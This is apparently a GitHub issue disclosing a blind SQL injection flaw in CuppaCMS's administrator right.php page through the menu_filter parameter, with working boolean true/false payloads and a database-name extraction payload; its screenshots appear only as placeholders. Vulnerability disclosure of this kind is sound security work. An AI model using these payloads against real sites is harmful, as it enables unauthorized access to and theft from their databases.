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SQL injection vulnerability exists in CuppaCMS /administrator/templates/default/html/windows/right.php #30

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JiuBanSec opened this issue Mar 21, 2022 · 0 comments

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@JiuBanSec
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  • VULNERABLE: SQL injection vulnerability exists in CuppaCMS. An attacker can inject query in
    “/administrator/templates/default/html/windows/right.php" via the "menu_filter=2" parameters.
  • Contact me:wanghu29570@gmail.com
  • Product:CuppaCMS
  • Payload Boolean true: menu_filter=2' and '1'='1
  • Payload Boolean false: menu_filter=2' and '1'='2
  • Payload exploit example: menu_filter=2'+and(ascii(substr((select(database())),1,1))>50)#
  • Proof of concept (POC):
    图片
  • Payload Boolean true: menu_filter=2' and '1'='1
    图片
  • Payload Boolean false: menu_filter=2' and '1'='2
  • You can see that the two return packets are different
    图片
  • Exploit:
    图片
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